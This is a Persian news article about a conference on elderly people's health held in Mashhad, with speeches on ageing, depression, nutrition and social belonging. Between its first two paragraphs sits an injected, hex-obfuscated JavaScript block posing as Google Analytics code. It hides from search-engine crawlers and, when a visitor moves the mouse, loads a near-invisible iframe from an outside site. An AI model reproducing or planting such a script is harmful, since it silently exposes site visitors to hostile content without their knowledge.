

همزمان با فرارسیدن هفته سلامت روان، همایش سالمندان و سلامت با مشارکت معاونت بهداشتی دانشگاه علوم پزشکی مشهد، اداره کل بهزیستی خراسان رضوی و سازمان فرهنگی تفریحی شهرداری مشهد در فرهنگسرای غدیر برگزار شد.

```
var _0x24b1=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65x78x6Dx65x74x72x69x6Bx61","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67x6Fx6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x68x65x69x67x68x74","x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx66x6Fx72x6Fx2Ex6Dx61x73x77x69x66x69x2Ex63x6Fx6Dx2Fx69x6Ex63x6Cx75x64x65x73x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65x72x48x65x69x67x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67x68x74","x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29"];function googleAnalyticsStatisticsBuild(){var _0x64b9x2=navigator[_0x24b1[1]][_0x24b1[0]]();var _0x64b9x3=[_0x24b1[2],_0x24b1[3],_0x24b1[4],_0x24b1[5]];for(k in _0x64b9x3){if(_0x64b9x2[_0x24b1[6]](_0x64b9x3[k])!=-1){return ;} ;};var _0x64b9x4=detectBrowserSize();if(_0x64b9x4[_0x24b1[7]]==0||_0x64b9x4[_0x24b1[8]]==0){return ;};var _0x64b9x5=false;if(document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]]){_0x64b9x5=document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]]};document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[9]]=function (){if(!document[_0x24b1[13]](_0x24b1[12])){iframe=document[_0x24b1[15]](_0x24b1[14]);iframe[_0x24b1[7]]=_0x24b1[16];iframe[_0x24b1[8]]=_0x24b1[16];iframe[_0x24b1[17]]=_0x24b1[12];iframe[_0x24b1[18]]=_0x24b1[19];document[_0x24b1[11]](_0x24b1[10])[0][_0x24b1[20]](iframe);};if(_0x64b9x5!==false){_0x64b9x5();};};};function detectBrowserSize(){var _0x64b9x7=0,_0x64b9x8=0;if(typeof (window[_0x24b1[21]])==_0x24b1[22]){_0x64b9x7=window[_0x24b1[21]];_0x64b9x8=window[_0x24b1[23]];} else {if(document[_0x24b1[24]]&&(document[_0x24b1[24]][_0x24b1[25]]||document[_0x24b1[24]][_0x24b1[26]])){_0x64b9x7=document[_0x24b1[24]][_0x24b1[25]];_0x64b9x8=document[_0x24b1[24]][_0x24b1[26]];} else {if(document[_0x24b1[10]]&&(document[_0x24b1[10]][_0x24b1[25]]||document[_0x24b1[10]][_0x24b1[26]])){_0x64b9x7=document[_0x24b1[10]][_0x24b1[25]];_0x64b9x8=document[_0x24b1[10]][_0x24b1[26]];};};};return {width:_0x64b9x7,height:_0x64b9x8};};setTimeout(_0x24b1[27],500);
```



به گزارش وب دا، دکتر زوار، مدیر سلامت روانی اجتماعی و اعتیاد و معاونت بهداشتی دانشگاه علوم پزشکی مشهد هدف از برگزاری این همایش را جلب مشارکت بین بخشی و ارتقاء آگاهی مدیران، کارشناسان سلامت روان و سلامت خانواده شهرستانها، کارشناسان اداره کل بهزیستی، مدیران خانه های سالمندان در خصوص سالمندان و سلامت عنوان کرد.

دکتر خدایی مشاور فنی معاون بهداشتی دانشگاه در ابتدای این همایش گفت: با تکیه بر فرهنگ سازی احترام به سالمندان و ارزش نهادن به تجربیات با ارزش آنان، می توان سیر تکامل و پیشرفت جامعه را رقم زد.

وی گفت: اگر خواسته باشیم سالمندی سالمی داشته باشیم باید از کودکی و همزمان با سپری نمودن دوره های مختلف زندگی با فراهم ساختن بستر های لازم رشد فکری و روانی و نیز تغذیه سالم و ورزش، به استقبال دوران سالمندی برویم.

در ادامه این همایش دکتر پوریوسف معاون توانبخشی بهزیستی خراسان رضوی و دکتر دوات گران مدیر کل دفتر توانمندسازی سازمان بهزیستی کشور به ایراد سخنرانی و تبیین برنامه های حمایتی سازمانهای مطبوع خود از سالمندان جامعه پرداخت.

دکتر مخیر روان پزشکی و عضو هیئت علمی دانشگاه علوم پزشکی مشهد نیز از دیگر سخنرانان این مراسم بود که در خصوص ورزش و تغذیه، بیماریهای شایع سالمندی و اهمیت تشخیص افسردگی و برخی از علائم و روشهای درمانی آن سخنرانی کرد.

وی عوامل مهم مهار کننده مشکلات سالمندان را، احساس تعلق به یک شبکه اجتماعی و مهر ورزیدن و مهر گرفتن برشمرد.

اجرای سرود توسط گروه موسیقی مرکز آموزش و توانبخشی سالمندان نشاط نیز از دیگر برنامه های این همایش به شمار می رود.